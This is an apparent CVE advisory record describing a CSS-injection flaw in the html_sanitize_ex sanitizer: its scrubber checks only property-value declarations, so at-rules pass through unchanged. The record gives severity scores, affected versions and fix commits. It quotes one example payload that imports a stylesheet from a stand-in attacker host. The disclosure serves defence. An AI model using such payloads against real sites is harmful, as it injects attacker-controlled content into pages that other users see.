CVE-2026-68747
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') vulnerability in the CSS scrubber in rrrene html_sanitize_ex allows an unauthenticated remote attacker to inject CSS at-rules, including an import of a remote stylesheet, into a page served to other users. HtmlSanitizeEx.Scrubber.CSS.scrub/1 applies its property and value allowlist through a Regex.replace over substrings matching a property: value declaration pattern, so input that does not match that pattern is never inspected and is copied to the output unchanged. @import url(//attacker.example/style.css); survives, while the same URL inside a background: url(...) declaration is removed. Element boundaries are resolved before the scrubber runs, so injected content does not escape the <style> element and no script executes. This issue affects html_sanitize_ex: from 0.3.1 before 1.4.5 and from 1.5.0-rc.0 before 1.5.4.
- CVSS 4.0
- 2.3
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N - CVSS 3.1
- 6.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - EPSS
- 0.4% chance of exploitation in the next 30 days; higher than 38% of CVEs (scores of 2026-10-25)
- CWE
- CWE-74
- Published
- Modified
- Record from
- the NVD, synced
Affected
- rrrene:htmlsanitizeex
References
- https://cna.erlef.org/cves/CVE-2026-68747.html
- https://github.com/rrrene/html_sanitize_ex/commit/0b9f9ad63a7529d4f2c3c1134c371adc3e654308
- https://github.com/rrrene/html_sanitize_ex/commit/c311a499db0b0baef06493fb3cfeb730c0f18f28
- https://github.com/rrrene/html_sanitize_ex/security/advisories/GHSA-87v2-pfhj-r5x7
- https://osv.dev/vulnerability/EEF-CVE-2026-68747